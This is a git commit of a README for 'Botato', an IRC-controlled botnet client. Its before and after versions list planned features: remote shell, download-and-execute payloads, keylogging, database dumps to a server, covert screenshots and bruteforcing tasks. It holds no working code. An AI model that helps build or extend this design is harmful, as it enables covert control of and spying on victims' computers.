<commit_before>## Botato
======

##### A botnet client for native execution across supported networks for remote functionality.


##### Once completed, this bot will synchronize across a network of similar bots, mirroring them by executing actions stated by host commands provided.


Default protocol of communication is IRC.

Test network is as follows :

* Server - irc.jamezq.com

* Channel - #Botato

#####Potential features:

1. Task processing: 
* Bot should be able to connect to a job/task sanctioner and accept tasks that are then processed and returned to the sanctioner. Work on task-cache is neccasary to avoid unneccasry waste of time/resources in sending and recieving single tasks when a group of them can be sent/recieved together. Initial tasks include bruteforcing, page-scraping etc.
2. Download and execute payload:
* Payloads are scripts/executables downloaded and executed by the bot.
3. Shell access:
* Shell access incase you want to run any platform specifc probing.
4. Offline database - keylogs, user-logon, started_at
* Data collected when the network is down.
5. Auto updation
* Thin wrapper around the bot that verifies its running the latest version of the bot, if not, downloads the latest version, spwans child process and kills itself.


#####Potential methods:
!intro - To perfom introductions in a IRC channel, single line containing everything needed to get a new client to get started.
!ping(pong) - Simple ping-pong to measure lag via on the network
!ip - Grabs the ip address of the network and returns it to the IRC channel
!update - Force auto-update, if for some reason the auto-updater fails to work
!download <url> - Payload getter
!ls - list executables in self directory
!execute <command> - Execute payload on self
!shell - Relay that works between the IRC channel and the shell console on the bot.
!stash <key>, <value> - temporary variable map, killed on close, useful for hashes in case we upgrade to using tor
!dump_database <url:port> - dump local database to said server:port
!screenshot - screeshots the computer and uploads the image to some photosharing site and returns url to IRC channel
<commit_msg>Cleaned README and fixed specs.<commit_after>## Botato
======

##### A botnet client for native execution across supported networks for remote functionality.


##### Once completed, this bot will synchronize across a network of similar bots, mirroring them by executing actions stated by host commands provided.


Default protocol of communication is IRC.

Test network is as follows :

* Server - irc.jamezq.com

* Channel - #Botato

Note that the terms `client` and `bot` are nuanced and for general purposes here, can be interchanged.

#### Planned features:

1. Auto connect:
	* The bot will connect directly to host network on start-up. In case the network is down on the client side, the bot shall continuously attempt to re-establish connection.
2. Auto update:
	* Light wrapper around the bot that verifies it's running the latest version of the bot. If not, downloads the latest version, re-spawns as child process and kills itself.
3. Shell access:
	* Direct shell access provided by the bot from the client terminal controlled by the host for advanced probing.
4. Task processing: 
	* Bot should be able to connect to a job/task provider and accept tasks that are then executed and the result(if any) is returned to the host network. Work on task-cache(secondary feature to be implemented later) is necessary to avoid unnecessary waste of time/resources in sending and receiving single tasks when a group of them can be sent/received together.
	* <h4>Planned commands:</h4> [required parameter], \<optional parameter\>
		1. !init - To perform initial configurations on the host network, containing everything needed to get a new bot up and running.
		2. !ping \<param\> - Simple ping-pong to measure lag and response of the bot. The bot will pong back with param if given, else it responds with the delay time between reading and responding.
		3. !ip \<global | local\>- Grabs the global or local IP address of the client and returns it to the host network. If no param is given, it defaults to global.
		4. !update \<version no.\> - Force auto-update, such as if for some reason the auto-updater fails to work. If no param is given, the latest version is fetched.
		5. !download [url] - Fetched resource locally from the path specified in the param.
		6. !execute \<path\>/ !exec \<path\> - Executes locally the file resided at the path if it exists.
		7. !shell [nick] - Enters direct shell mode on the bot identified by the nick provided.
		8. !screenshot \<nick\> / !ss \<nick\>- The bot identified by the nick given takes a screencap of the client's screen(if GUI enabled) and uploads the image to an image host(such as imgur) and returns the url to the host network. If no param is provided, this command is executed by all bots across the network.
5. Offline database:
	* Data stored locally over no network for future access by host (or on re-connection if the client side network was originally down)

{'fraction_non_alphanumeric': 0.06181102362204725, 'fraction_numerical': 0.003937007874015748, 'mean_word_length': 4.111670020120724, 'pattern_counts': {'":': 0, '<': 18, '<?xml version=': 0, '>': 18, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 6, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '35536', 'n_tokens_mistral': 1339, 'n_tokens_neox': 1274, 'n_words': 775}